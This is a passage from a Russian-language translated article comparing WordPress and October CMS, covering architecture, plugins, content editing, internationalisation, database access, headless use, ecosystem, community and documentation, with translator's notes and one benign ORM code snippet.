В October CMS, напротив, страницы представляют собой статические файлы, хранящиеся в каталоге темы. Плюсом этого архитектурного решения является то, что содержимое страницы можно создавать из внешнего приложения, например, текстовых редакторов вроде [Sublime](https://www.sublimetext.com/) или [Visual Studio Code](https://code.visualstudio.com/). С другой стороны, при переключении с одной темы на другую необходимо вручную воссоздать или скопировать страницы из текущей в новую тему, иначе они исчезнут.
Важно отметить, что October CMS разрешает [маршрутизацию по страницам](https://octobercms.com/docs/cms/pages#url-syntax). Поэтому страницы используются не только как контейнеры для контента, но и для функциональности. Например, плагин для ведения блога зависит от страницы для отображения списка сообщений в блоге по выбранному URL-адресу, ещё одной страницы для отображения сообщения в блоге по другому выбранному URL-адресу и так далее. Если какая-либо из этих страниц исчезнет, связанная функциональность из плагина станет недоступной и этот URL-адрес выдаст ошибку 404. Следовательно, в October CMS темы и плагины CMS не полностью отделены и переключать темы нужно аккуратно.
Функциональность «из коробки» и плагины
---------------------------------------
WordPress предлагает минимальную базовую функциональность, которую можно увеличивать с помощью [плагинов](https://wordpress.org/plugins/). Он придерживается [«правила 80–20»](https://wordpress.org/about/philosophy/#clean), чтобы решать, включать те или иные функциональные возможности в своё ядро или нет.
Если они приносят пользу 80% пользователей, то их включают, в противном случае они реализуются через плагины. При установке плагинов на сайт они могут привести к [раздуванию кода](https://premium.wpmudev.org/blog/wordpress-bloat/), если их установлено слишком много. Плагины также могут плохо работать друг с другом, выполнять похожий код или загружать похожие ресурсы, что приводит к неоптимальной производительности. Поэтому, хотя запускать сайт WordPress относительно просто, обслуживать его и сохранять оптимальное и производительное состояние при добавлении новых функций это более сложная задача.
October CMS тоже пытается предложить минимальную базовую функциональность. Даже слишком: единственная гарантированная функция — создание и публикация страниц. Для всего остального нам нужно будет установить один из плагинов. Другими словами, есть всё, что нужно, и ничего лишнего.
Цель ясна: большинство простых сайтов состоят только из страниц, возможно, даже без постов в блоге, пользователей или авторизации. Зачем приложению загружать ресурсы для них, если они не нужны? Как следствие, функциональные возможности для ведения [блогов](https://octobercms.com/plugin/rainlab-blog), [управления пользователями](https://octobercms.com/plugin/rainlab-user), [перевода](https://octobercms.com/plugin/rainlab-translate) и некоторых других функций доступны через [официальный маркетплейс](https://octobercms.com/plugins).
October CMS также включает в себя некоторые функции, которые (хотя они и не всегда нужны) могут значительно улучшить приложение. Например, она предоставляет встроенную поддержку для [загрузки медиафайлов в Amazon S3](https://octobercms.com/docs/cms/mediamanager#amazon-s3) и [доступа к ним через CDN Rackspace](https://octobercms.com/docs/cms/mediamanager#rackspace-cdn). Ещё в ней есть Media Manager, который в основном используется через плагины, например, для добавления изображений в блоге. Страницы также могут использовать Media Manager для встраивания медиа-файлов, однако CMS идёт с разделом Assets для загрузки медиа-файлов для них, что видится более удобным.
Мне кажется, что October CMS позволяет создавать максимально простые приложения, в основном для несложных сайтов. Но могут быть и неприятные последствия. Это может привести к раздуванию кода, так как грань между тем, что нужно, и тем, что нет, очень тонка и её сложно заранее определить в рамках CMS.
Это легко почувствовать, если мы рассмотрим концепцию «пользователя»: в WordPress пользователи и администраторы сайта принадлежат одному и одной и той же сущности user (и мы можем сделать пользователя администратором через роли и привилегии). В October CMS два этих понятия реализованы отдельно: «из коробки» доступна функциональность администратора, который может авторизоваться в админке и изменять настройки, в то время как зарегистрированные пользователи реализуются через отдельный плагин. У этих двух типов пользователей разный процесс входа в систему и разные таблицы БД для хранения данных. Таким образом, возможно, нарушается принцип DRY (don’t repeat yourself).
Эта проблема возникает не только в отношении поведения сущности, но и того, какие поля данных она должна содержать. Например, должны ли поля данных пользователя на сайте быть определены заранее? Обязательно ли поле с номером телефона? А поле URL в Instagram, учитывая, что Instagram стал очень популярным относительно недавно? А если мы создаём профессиональный веб-сайт, не использовать ли вместо Instagram поле для LinkedIn? Эти решения однозначно зависят от ситуации и не могут быть приняты ни CMS, ни плагином.
Плагин October CMS под названием User реализует систему пользователей, но без наличия кастомных полей. А плагин User Plus добавляет несколько дополнительных кастомных полей. Если их недостаточно — есть плагин User Plus+, который добавляет еще больше кастомных полей. В какой момент пора остановиться? *(Мы в LOVATA разработали собственный плагин [Buddies](https://octobercms.com/plugin/lovata-buddies), который решил эту проблему и позволяет создавать любое количество любых кастомных полей. — Прим. перев.)*
Другая проблема — если нет места для добавления новых возможностей к сущности, это приводит к созданию другого, очень похожего объекта, просто для поддержки этих требуемых возможностей. Например, в October CMS по умолчанию есть функция создания страниц, а также можно создавать статические страницы через [плагин](https://octobercms.com/plugin/rainlab-pages). Их суть одинакова: и страницы, и статические страницы сохраняются в виде статических файлов. Единственное, чем они отличаются (насколько я понимаю) — это то, что статические страницы редактируются с помощью визуального редактора вместо HTML-редактора и их можно добавлять в меню. Мне кажется, только структурные различия вроде сохранения одного объекта в виде статического файла, а другого — в базе данных, могут объяснить создание дополнительного объекта для страницы (для этого есть [pull request](https://github.com/octobercms/october/pull/3908)), но для простой функциональности, которая есть сейчас, это приводит к раздуванию кода.
Таким образом, October CMS позволяет создать веб-приложения очень бережливым и эффективным способом, например, с удалением базы данных, когда она не нужна. Но приложение также может стать слишком раздутым, поскольку разработчики вынуждены реализовывать несколько решений для похожих объектов, что может усложнять использование («Мне нужно использовать страницу или статическую страницу?»).
Поскольку ни WordPress, ни October CMS не нашли идеального решения для избежания раздувания, нужно тщательно проектировать любую архитектуру приложения, чтобы избежать проблем в будущем.
Создание контента
-----------------
Gutenberg привносит два новшества в WordPress: он использует компоненты в качестве сущности для создания сайтов, что даёт [несколько преимуществ по сравнению с BLOB-кодированием в HTML](https://www.smashingmagazine.com/2018/11/implications-blocks-blobs/) и вводит новую сущность «блок», который после завершения [фазы 2 Gutenberg](https://make.wordpress.org/core/2018/12/08/gutenberg-phase-2/) в 2019 *(Уже реализовано. — Прим. перев.)*. Он будет предлагать унифицированный способ включения контента в сайт, что позволит упростить работу пользователя по сравнению с хаотичным процессом добавления контента с помощью шорткодов, TinyMCE, меню, виджетов и так далее.
Поскольку блоки Gutenberg могут создавать и сохранять статический HTML как часть постов блога, установка нескольких блоков Gutenberg не обязательно приводит к раздуванию кода на сайте на стороне пользователя. Она может ограничиваться неудобствами на стороне администратора. Следовательно, Gutenberg можно считать хорошим подходом для создания сайтов модульным способом с простым, но мощным пользовательским интерфейсом для создания контента. Возможно, самым большим недостатком является необходимость изучать React, что [не очень просто](http://bradfrost.com/blog/post/my-struggle-to-learn-react/).
Если основная единица создания контента в WordPress это компоненты React, то October CMS основана на идее, что для создания сайтов достаточно знать старый добрый HTML. Действительно, при создании страницы мы работаем с обычным редактором HTML (Markup).
Если бы страница была исключительно статическим HTML, не было бы необходимости в CMS. Но [страницы](https://octobercms.com/docs/cms/pages) (pages) в October CMS написаны с использованием шаблонов [Twig](https://twig.symfony.com/), которые скомпилированы в простой оптимизированный PHP-код. Они могут основываться на [лэйаутах](https://octobercms.com/docs/cms/layouts) (layouts), которые содержат повторяющиеся элементы, такие как header и footer, могут вызывать [плейсхолдеры](https://octobercms.com/docs/cms/layouts#placeholders) (placeholders), который определяются в лэйаутах для обеспечения возможности настройки контента на странице, а также могут включать [паршелы](https://octobercms.com/docs/cms/partials) (partials), которые по сути являются повторно используемыми фрагментами кода.
Кроме того, страницы могут содержать [контентные блоки](https://octobercms.com/docs/cms/content) (content), которые представляют собой файлы форматах Text, HTML или Markdown, которые можно редактировать отдельно. Они также могут содержать [компоненты](https://octobercms.com/docs/cms/components) (component), которые являются функциональностью, реализованной с помощью плагинов. И, наконец, если HTML недостаточно и нам нужно создавать динамический код, можно добавить [функции PHP](https://octobercms.com/docs/cms/themes#php-section).
Весь редактор — это HTML. Нет текстовых полей с TinyMCE для визуального редактирования контента — по крайней мере, не через интерфейс по умолчанию (эта функциональность отдана на откуп плагинам). Поэтому, можно сказать, что знать HTML обязательно, чтобы использовать October CMS. Кроме того, несколько различных вариантов создания контента (страницы, лэйауты, плейсхолдеры, паршелы, контентные блоки, компоненты и PHP-функции) могут быть очень эффективными, но работать с ними не так просто, как через унифицированный интерфейс блоков WordPress. Всё может усложняться ещё больше, поскольку можно добавлять и другие элементы, например, [статические страницы и меню](https://octobercms.com/blog/post/getting-started-static-pages) или [сниппеты](https://octobercms.com/blog/post/introducing-snippets). И у некоторых из них, например, страниц и статических страниц, по-видимому, одинаковые функциональные возможности, что усложняет выбор, что и когда использовать.
Думаю, что, почти любой сможет администрировать сайт на WordPress. А вот October CMS более удобна для разработчиков, чем для пользователя без технического бэкграунда. Поэтому она может нравиться программистам, но людям из других сфер интерфейс может не показаться интуитивно понятным.
Медиа-менеджер
--------------
И в WordPress, и в October CMS есть медиа-менеджер, который позволяет без особых усилий добавлять мультимедийные файлы на сайт, поддерживает добавление нескольких файлов одновременно с помощью перетаскивания и отображает изображения в области контента. Они выглядят и ведут себя почти одинаково: единственное явное различие, которое я заметил, в том, что Media Manager для WordPress позволяет встраивать галереи изображений, а Media Manager для October CMS позволяет вручную создавать структуру папок, в которой размещаются загруженные файлы.
Но с момента появления Gutenberg медиа-возможности WordPress значительно расширились: теперь можно встраивать видео, картинки и фотогалереи, в отличие от редактора TinyMCE, который предлагает лишь неточную версию того, как это будет выглядеть на сайте. Ещё добавили интересные, но простые в использовании функции, которые продемонстрированы в [этом видео](https://vimeo.com/296746112).
Интернационализация
-------------------
Ядро WordPress использует gettext для включения [перевода тем и плагинов](https://codex.wordpress.org/I18n_for_WordPress_Developers). Начиная с файла .pot, содержащего все строки для перевода, нам нужно создать файл .po, содержащий их перевод на соответствующий язык. Затем этот файл компилируется в двоичный файл .mo, подходящий для быстрого извлечения перевода. Среди инструментов для выполнения этих задач есть [GlotPress](https://make.wordpress.org/polyglots/handbook/tools/glotpress-translate-wordpress-org/) (онлайн) и [Poedit](https://poedit.net/) (скачиваемое приложение). Удобно, что этот механизм также работает в [локализации на стороне клиента](https://wordpress.org/gutenberg/handbook/designers-developers/developers/packages/packages-i18n/) для Gutenberg.
Сейчас у WordPress нет ни одного решения в ядре для перевода контента, и они не будут их предлагать до [четвертой фазы Gutenberg](https://wptavern.com/state-of-the-word-2018-wordpress-embraces-the-block-editor) (запланированной на 2020 или позже). Пока эта функциональность будет обеспечиваться плагинами, которые предлагают разные стратегии для хранения и управления переведённым контентом. Например, плагины вроде [Polylang](https://wordpress.org/plugins/polylang/) и [WPML](https://wpml.org/) хранят каждый перевод в отдельной строке из пользовательской таблицы базы данных. Это удобно, поскольку содержимое не перемешивается, но работает медленнее, так как требует дополнительного внутреннего объединения из двух таблиц при запросе базы данных. Плагин [qTranslate X](https://wordpress.org/plugins/qtranslate-x/) хранит все переводы в одном поле из исходной таблицы базы данных. Так быстрее запрашиваются данные, но из-за смешения контента может сломаться сайт, если отключить плагин. Нам остаётся выбрать стратегию, максимально удовлетворяющую наши потребности.
October CMS поддерживает многоязычность не через ядро, а через [плагин, созданный штатной командой](https://octobercms.com/plugin/rainlab-translate). Этот плагин гарантирует безошибочную интеграцию в систему. С функциональной точки зрения он выполняет свою задачу, а вот с точки зрения разработки плагин не совсем идеален.
В WordPress страница — это просто пост с типом поста «страница», и для них существует единый механизм перевода. В October CMS есть объекты «page», «static page» и «blog post». Хоть они и очень похожи, но требуют трех разных реализаций переводов! Контент «page» может включать в себя коды сообщений (например, коды с именем nav.content, header.title и т. д.), каждый из которых содержит свои переводы для всех локалей в виде сериализованного объекта JSON в таблице базы данных rainlab\_translate\_messages.
Содержимое «static page» создаётся в новом статическом файле для каждой локали, хотя все переведенные URL-адреса для всех локалей хранятся не в соответствующем файле, а в файле языка по умолчанию.
Содержимое «blog post» хранится в виде сериализованного объекта JSON с одной строкой на локаль в таблице базы данных rainlab\_translate\_attributes, а переведённый URL-адрес хранится с одной строкой на локаль в таблице базы данных rainlab\_translate\_indexes.
Я не знаю, связана ли эта сложность с тем, как был реализован плагин, или с архитектурой October CMS. В любом случае, это ещё один пример нежелательного раздувания кода при разработке.
Управление плагинами
--------------------
Как WordPress, так и October CMS предлагают продвинутый менеджер плагинов, который позволяет находить, устанавливать новые плагины и обновлять ранее установленные плагины до последней версии — и всё это через бэкенд.
Управление зависимостями
------------------------
October CMS использует [Composer](https://getcomposer.org/) в качестве менеджера пакетов, позволяя плагинам загружать и устанавливать свои зависимости при установке, обеспечивая, таким образом, безболезненную разработку.
WordPress, напротив, официально не внедрила Composer (как и любой другой менеджер PHP-зависимостей), потому что нет соглашения о том, является WordPress [сайтом или его зависимостью](https://core.trac.wordpress.org/ticket/23912). Следовательно, если им для проектов нужен Composer, разработчикам [нужно добавить его самостоятельно](https://deliciousbrains.com/using-composer-manage-wordpress-themes-plugins/).
С переходом на Gutenberg, NPM стал предпочтительным менеджером зависимостей JavaScript, от него зависит [популярный инструментарий разработчика](https://github.com/ahmadawais/create-guten-block), а клиентские библиотеки постоянно выпускаются в виде [автономных пакетов](https://wordpress.org/gutenberg/handbook/designers-developers/developers/packages/#using-the-packages-via-npm) в [реестре NPM](https://www.npmjs.com/org/wordpress).
Взаимодействие с базой данных
-----------------------------
WordPress предлагает функции для извлечения данных из БД (например, get\_posts) и их хранения (например, wp\_insert\_post и wp\_update\_post). При извлечении данных мы можем передавать параметры для фильтрации, ограничения и упорядочения результатов, чтобы указать, должен ли результат быть передан как экземпляр класса или как массив свойств и т. д. Когда функция не полностью удовлетворяет нашим требованиям (например, когда нам нужно выполнить INNER JOIN с пользовательской таблицей), мы можем запросить базу данных напрямую через глобальную переменную $wpdb. При создании плагина с пользовательским типом записи код, скорее всего, будет выполнять пользовательские запросы SQL для извлечения и/или сохранения данных в пользовательских таблицах. Таким образом WordPress пытается обеспечить доступ к базе данных через общие функции на первом этапе и низкоуровневый доступ к базе данных на втором этапе.
В October CMS используется другой подход: вместо непосредственного подключения к базе данных приложение использует [Eloquent ORM](https://laravel.com/docs/5.7/eloquent) от Laravel для доступа к данным в базе и манипулирования ими с помощью [экземпляров классов](https://octobercms.com/docs/database/model) (Models). Благодаря этому взаимодействие с БД также должно основываться на принципах объектно-ориентированного программирования. Это высокоуровневый доступ; плагин может извлекать и/или сохранять данные без написания строки SQL, просто следуя [правилам создания таблиц](https://octobercms.com/docs/database/structure) и [установления отношений между объектами](https://octobercms.com/docs/database/relations). Например, [приведенный ниже код](https://octobercms.com/docs/database/model#basic-updates) извлекает объект из базы данных через модель Flight, изменяет свойство и снова сохраняет его.
````
$flight = Flight::find(1);
$flight->name = 'Darwin to Adelaide';
$flight->save();
````
Обновление модели данных
------------------------
Ещё одной причиной успеха WordPress (помимо того, что она не нарушает обратную совместимость) была [архитектура её БД](https://codex.wordpress.org/Database_Description). Она была разработана так, чтобы позволить приложениям со временем расти. Эта цель достигается с помощью мета-свойств, то есть свойств, которые могут быть свободно добавлены в объект базы данных в любой момент. Эти свойства хранятся не в столбце соответствующей таблицы объектов (wp\_posts, wp\_users, wp\_comments или wp\_terms), а в виде строки в соответствующей таблице meta (wp\_postmeta, wp\_usermeta, wp\_commentmeta или wp\_termmeta) и извлекаются с использованием INNER JOIN. Следовательно, несмотря на то, что извлечение этих мета-значений происходит медленнее, они обеспечивают гибкость. То есть, модель данных приложения редко нуждается в перестроении архитектуры с нуля, чтобы реализовать какую-то новую функциональность.
October CMS не использует мета-свойства, но может хранить несколько произвольных значений. Они не отображаются напрямую как столбцы в таблицах базы данных, как [сериализованный объект JSON](https://octobercms.com/docs/database/model#property-jsonable). В противном случае, когда объекту требуется какое-то новое свойство, нам нужно добавить новый столбец в соответствующую таблицу (для этого используются плагины [User Plus](https://octobercms.com/plugin/indikator-user) и [User Plus +](https://octobercms.com/plugin/rainlab-userplus), упомянутые ранее). Чтобы обновить схему базы данных приложения, October CMS полагается на [миграции](https://laravel.com/docs/5.7/migrations) Laravel, которые представляют собой наборы инструкций для выполнения по схеме (такие как добавление или удаление столбца, переименование индекса и т. д.). Они выполняются при обновлении программного обеспечения, например, когда устанавливается новая версия плагина.
Headless-возможности
--------------------
Как WordPress, так и October CMS могут использоваться автономно. То есть, мы можем рассматривать CMS как систему управления контентом, которая делает контент доступным через API, позволяет отображать веб-сайт на стороне клиента и может поддерживать другие приложения, например, мобильные. Действительно, WordPress неуклонно движется в сторону headless, поскольку редактор контента Gutenberg сам рассматривает WordPress как headless CMS. Как следствие, Gutenberg также может работать с любой другой CMS, как видно на примере [Drupal Gutenberg](https://drupalgutenberg.org/) *(Уже существует [реализация Gutenberg и для October CMS](https://octobercms.com/plugin/reazzon-gutenberg). — Прим. перев.)*.
Headless-системе нужно реализовать какой-либо API для возврата данных, например, [REST](https://www.smashingmagazine.com/2018/01/understanding-using-rest-api/) или [GraphQL](https://graphql.org/). WordPress поддерживает REST через [WP REST API](https://v2.wp-api.org/), предоставляя эндпойнты по заранее определенному маршруту / wp-json / wp / v2 / ...; October CMS поддерживает REST через плагины [RESTful](https://octobercms.com/plugin/mohsin-rest) и [API Generator](https://octobercms.com/plugin/ahmadfatoni-apigenerator), которые позволяют создавать настраиваемые эндпойнты и, как следствие, поддерживают управление версиями как часть URL-адреса эндпойнта и могут обеспечить лучшую защиту от ботов. WordPress также поддерживает GraphQL через [WPGraphQL](https://www.wpgraphql.com/), а вот у October CMS нет его реализаций.
Что немаловажно, headless-система должна предлагать эффективные возможности управления контентом. Как мы уже упоминали, у WordPress есть надёжная архитектура базы данных, которая предлагает множество объектов данных (пользователи, посты и пользовательские посты, страницы, категории, теги и пользовательские таксономии, комментарии). По ним можно неплохо смоделировать приложение, мета-свойства для расширения этих объектов данных (что позволяет приложению обновлять свою модель данных соответствующим образом и без значительных изменений), а также с помощью плагина [Advanced Custom Fields](https://www.advancedcustomfields.com/) заполнить пробел в построении отношений между объектами данных. Кроме того, плагин [VersionPress](https://versionpress.com/) позволяет осуществлять контроль версий содержимого базы данных с помощью Git. То есть, WordPress [хорошо подходит](https://medium.com/@jchiatt/headless-wordpress-with-react-d573bca02ee0) для управления контентом.
October CMS может исключать базу данных и вести себя как плоская файловая система, или иметь базу данных и вести себя как гибрид, сохраняя содержимое страниц в виде статических файлов и постов в блоге в базе данных. Поэтому контент не централизован, а для управления им нужен другой подход. Например, хотя мы можем использовать Git для управления версиями страниц, сама по себе поддержка контроля версий в БД отсутствует. Решение этой проблемы — заполнение данных в базе через [сидеры](https://octobercms.com/docs/database/structure#seeder-structure), которые, будучи кодом, могут быть поставлены под контроль версий и выполнены при развертывании. Кроме того, October CMS не предлагает встроенную модель БД с предопределенными объектами данных, которая могла бы удовлетворить потребности большинства приложений. Следовательно, для [реализации своей модели данных](https://octobercms.com/docs/database/model), приложению скорее всего потребуется индивидуальная разработка, а это больше работы. С другой стороны, это может быть более эффективно (например, доступ к свойству из столбца быстрее, чем из строки в другой таблице посредством INNER JOIN, в мета-свойствах WordPress).
Поддержка CLI
-------------
И с WordPress и с October CMS можно взаимодействовать через консоль с помощью Command Line Interface (CLI): в WordPress это делается через [WP-CLI](https://wp-cli.org/), а в October CMS через [Artisan](https://laravel.com/docs/5.7/artisan) от Laravel. В дополнение к командам Laravel, October CMS реализует [несколько собственных команд](https://octobercms.com/docs/console/commands) для обновления системы, переноса базы данных и т.д. Эти инструменты делают доступ к сайту вне браузера очень удобным, например, для тестирования.
Хостинг
-------
Найти поставщика услуг хостинга для сайта на WordPress не проблема. Учитывая долю рынка WordPress, существуют десятки, если не сотни поставщиков, конкурирующих друг с другом, это очень динамичный рынок. Единственная проблема заключается в поиске наиболее подходящего провайдера для конкретного сайта на основе всех предложений. Ведь они могут варьироваться по цене, качеству, типу, пропускной способности и объёму хранилища, поддержке клиентов, местоположению, частоте обновления оборудования и других критериев, по которым мы можем ориентироваться в основном через [обзоры](https://www.pcmag.com/article2/0,2817,2479353,00.asp), которые их сравнивают.
Несмотря на то, что для October CMS их не так много, есть ряд хостинг-провайдеров, предлагающих свои услуги, так что можно сравнить их и выбрать подходящего. Многие из них — [партнёры October CMS](https://octobercms.com/partners?country=&service=hosting), другие легко [отыскать в поисковике](https://duckduckgo.com/?q=octobercms+hosting+providers), но, поскольку я не нашел ни одного независимого обзора или сравнительной статьи, выбрать наиболее подходящие будет чуть сложнее.
Маркетплейс, экосистема и стоимость
-----------------------------------
Коммерческая экосистема WordPress [оценивается в $10 млрд в год](https://wptavern.com/state-of-the-word-2018-wordpress-embraces-the-block-editor). Это свидетельствует об огромном количестве людей и компаний, которые смогли заработать, предлагая продукты и услуги WordPress, такие как создание сайтов, хостинг, разработка [тем](https://wordpress.org/themes/) и [плагинов](https://wordpress.org/plugins/), поддержка, безопасность и другие. Действительно, она настолько большая, что даже слегка раздута, в том смысле что очень часто можно найти разные плагины, решающие одну и ту же проблему, плагины, которые не работают или не обновлялись годами, и темы, которые похожи друг на друга.
Тем не менее, при создании нового сайта размер и разнообразие экосистемы также означает, что мы, скорее всего, найдем хотя бы один плагин, реализующий каждую из требуемых функциональных возможностей, что позволит нам сэкономить деньги, не разрабатывая функциональность самостоятельно. Наличие настраиваемых тем позволяет создать сайт с достаточно уникальным дизайном с минимальными усилиями. Как следствие, можно легко создать и запустить сайт WordPress меньше чем за $100, что делает эту CMS подходящим вариантом для проектов с любым бюджетом.
Будучи относительно новым, ему всего пять лет (*Уже шесть. — Прим. перев.*), OctoberCMS, безусловно, отстает от WordPress по размерам экосистемы и маркетплейса, но он уверенно растёт. В настоящее время в его маркетплейсе представлено более 600 плагинов и несколько тем *(По состоянию на июнь 2020 опубликовано более 900 плагинов и около 200 тем. — Прим. перев.)*. Что касается плагинов, команда October CMS просит сообщество приложить усилия к [созданию оригинальных плагинов](https://octobercms.com/help/guidelines/quality#common-requirements), которые предлагают функциональность, ещё не предоставленную ни одним другим.
Поэтому, хотя 600+ плагинов это не очень много, они по крайней мере предлагают 600+ разных функций. То есть хоть и нет возможности выбирать между несколькими поставщиками, мы можем рассчитывать, что будут закрыты основные типовые потребности веб-сайта, такие как ведение блога, комментарии, форум, интеграция с социальными сетями, электронная коммерция и другие. Кроме того, поскольку основатели October CMS лично проверяют все представленные плагины и оценивают их в соответствии с [рекомендациями по качеству](https://octobercms.com/help/guidelines/quality), мы можем рассчитывать, что эти плагины будут работать так, как ожидается.
Ещё один плюс в том, что плагины October могут включать элементы из [пакетов Laravel](https://packalyst.com/) (хотя [не все из них совместимы с October](https://github.com/octobercms/october/issues/3683#issuecomment-451797756), по крайней мере, без хаков). А вот предложений по темам немного, то есть нам, скорее всего, придётся разрабатывать собственную тему, наняв разработчика для этой задачи. Тема October CMS, скорее всего, будет индивидуальной разработкой, поскольку темы и плагины не полностью отделены, в результате чего рынок легко заменяемых тем сложнее создать. Но это временная проблема: после релиза [этой функции](https://github.com/octobercms/october/pull/3908) страницы могут быть сохранены в базе данных и обмен темами не должен нарушать функциональность.
На мой взгляд, из-за меньшего количества тем и плагинов создание простого сайта на OctoberCMS обойдётся дороже, чем создание аналогичного сайта на WordPress. Но для сложных сайтов лучшая архитектура October (парадигмы объектно-ориентированного программирования и Model-View-Controller) делает программное обеспечение более лёгким в обслуживании и, как следствие, потенциально более дешёвым.
Сообщество
----------
Быть частью сообщества WordPress и иметь к нему доступ — одна из самых веских причин для использования WordPress. Это связано не только с размером (оно обеспечивает почти одну треть всех веб-сайтов в мире, с WordPress связано очень много заинтересованных сторон, а его сообщество является впечатляюще большим), но и с разнообразием. Сообщество WordPress включает людей из разных профессий — разработчиков, маркетологов, дизайнеров, блогеров, продавцов и т. д., людей со всех континентов и стран, говорящих на многих языках, из разных социальных и экономических слоёв, с разным образованием, с ограниченными возможностями или без них, представляющих корпоративные, некоммерческие и государственные организации и т.д. Следовательно, вполне вероятно, что с какой бы проблемой мы ни столкнулись, кто-то наверняка сможет помочь на одном из [форумов поддержки](https://wordpress.org/support/forums/). Сделать вклад в WordPress тоже довольно просто: группа [Make WordPress](https://make.wordpress.org/) объединяет заинтересованные стороны, которым интересно поддерживать различные проекты (доступность, дизайн, интернационализация и многие другие) и организует то, каким образом и как регулярно они общаются — в основном через какой-либо канал в своём выделенном [чате в Slack](https://wordpress.slack.com/).
Кроме того, сообщество WordPress реальное и осязаемое: оно существует не только в Интернете, но собирается в оффлайне на [WordCamps](https://central.wordcamp.org/) и на других [встречах](https://www.meetup.com/topics/wordpress/) по всему миру. [В 2018 году](https://poststatus.com/state-of-the-word-2018/) было проведено 145 WordCamps в 48 странах, куда совокупно было продано более 45 тыс. билетов, и в общей сложности 5400 встреч с участием 687 групп. Следовательно, вполне вероятно, что поблизости есть местная ячейка, к которой может присоединиться каждый, чтобы попросить о помощи, научиться пользоваться платформой, учиться на регулярной основе и учить других. В этом смысле WordPress — это не просто CMS, но, что ещё важнее, это люди. Поэтому никогда не стоит принимать решение об отказе от WordPress только из-за её технических характеристик, важно также принимать во внимание её сообщество.
Сообщество October CMS в разы уступает по размеру и разнообразию сообществу WordPress, хотя оно неуклонно растёт вслед за растущей популярностью. October предлагает [форум поддержки](https://octobercms.com/forum), где можно попросить о помощи, правда, он не очень активен. Ещё есть [чат в Slack](https://octobercms.slack.com/) *(На данный момент официально заморожен, сообщество переезжает в Discord. — Прим. перев.)*, который довольно активен и в котором регулярно отмечаются основатели October, чтобы убедиться, что все запросы должным образом решены. Этот чат — отличная возможность получить несложный совет и лайфхаки по использованию October, но он предназначен в основном для разработчиков: нет каналов о доступности, дизайне, интернационализации и на другие темы, как в WordPress. По крайней мере, пока. Сейчас нет и конференций, касающихся October CMS, но есть [Laracon](https://laracon.us/) — конференция для сообщества Laravel.
Мейнтейнеры и политика управления проектом
------------------------------------------
Можем ли мы быть уверенными, что ПО просуществует довольно долго, и, если мы решим начать проект сегодня, нам не придётся переходить на другую платформу в будущем? Сколько людей занимается разработкой программного обеспечения? Кто решает, в каком направлении оно движется?
На WordPress сделана треть всех сайтов в мире, и у неё достаточно заинтересованных сторон, вносящих свой вклад в развитие ПО, поэтому можно не бояться, что перестанут обслуживаться сайты. Тем не менее, сейчас в WordPress проходят внутренние обсуждения касательно модели управления, и многие члены сообщества заявляют, что решения, касающиеся направления развития WordPress, принимаются в одностороннем порядке компанией [Automattic](https://automattic.com/), управляющей [WordPress.com](https://wordpress.com/). Ключевым этапом стало решение о запуске Gutenberg, с которым многие участники не согласились. Gutenberg явно не хватило коммуникации со стороны руководства проекта на стадии разработки и релиза. Как следствие, многие члены сообщества ставят под сомнение роль «мягкого диктатора», каким исторически считали основателя WordPress и генерального директора Automattic Мэтта Мулленвега, и [исследуют различные модели управления](https://wpgovernance.com/), чтобы найти более подходящую модель для будущего WordPress. Ещё неизвестно, приведёт ли этот квест к каким-либо переменам или же сохранится статус-кво.
Решения относительно направления развития October CMS в основном принимаются [основателями Алексеем Бобковым и Сэмюэлем Жоржем](https://octobercms.com/about), а также разработчиком и менеджером сообщества [Люком Тауэрсом](https://github.com/LukeTowers). October CMS пока не знакома такая роскошь как проблема управления: сейчас их больше волнует, как сделать [проект устойчивым](https://github.com/octobercms/october/issues/3683), и сделать так, чтобы он приносил доход команде разработки.
Документация
------------
Документация WordPress [не является исчерпывающей](https://codex.wordpress.org/), но она довольно неплохо справляется со своей задачей. Но, если брать в расчет всю документацию о WordPress из всех источников, таких как известные сайты ([Smashing Magazine](https://www.smashingmagazine.com/), [CSS tricks](https://css-tricks.com/) и т.д.), специализированные сайты ([WPShout](https://wpshout.com/), [WPBeginner](https://www.wpbeginner.com/) и многие другие), личные блоги, онлайн-курсы, почти не существует аспекта работы с WordPress, который ещё не был бы затронут.
У October CMS ситуация с документацией в сторонних источниках очень далека от WordPress, зато [документация на собственном сайте](https://octobercms.com/docs) достаточно обширна и её точно хватит для начала разработки. Основатели October [регулярно добавляют новую документацию](https://octobercms.com/support/articles/tutorials). Один из аспектов, который мне лично понравился, это дублирование [документации Laravel](https://laravel.com/docs) в документацию October по всем релевантным вопросам, поэтому читателю не нужно самому заполнять пробелы и догадываться о том, что является доменной областью October, а что — Laravel.
Но есть и минусы. Документация October использует термины, происходящие из Laravel, такие как мидлвар (middleware), контейнер сервисов (service container), фасады (facades) и контракты (contracts), без адекватного объяснения, что это такое. Поэтому может быть полезным предварительно почитать документацию Laravel. К счастью, она обширна и понятна, а скринкасты Laravel — [Laracasts](https://laracasts.com/) — ещё один отличный источник изучения не только Laravel, но и веб-разработки в целом.
Вывод
-----
Я решил выяснить, какие функции могут привлекать разработчиков, которые ищут альтернативы WordPress, сравнив WordPress с аналогичной CMS. Это должна была быть бесплатная CMS с открытым исходным кодом, основанная на PHP и создающая динамический контент, пользующаяся поддержкой со стороны нескольких сообществ. Из CMS, которые удовлетворяли этим условиям, я выбрал для сравнения October CMS, поскольку уже знал о ней кое-что, и потому, что мне нравится её чистый модульный подход, предоставляемый Laravel. Мне кажется, это свежий взгляд на разработку веб-сайтов.
В этой статье я не пытался выбрать победителя, а просто проанализировал, когда имеет смысл выбрать ту или иную CMS, сравнивая их сильные и слабые стороны. Не существует «лучшей» CMS, есть лишь наиболее подходящая для конкретной ситуации. Кроме того, любому, кто ищет CMS для использования в конкретном проекте с определенной командой и с определенным бюджетом, нужно сравнить все предложения, чтобы понять, какое из них лучше подходит для конкретного проекта. Важно не ограничиваться парой CMS, как это сделал я в этой статье, а дать шанс им всем.
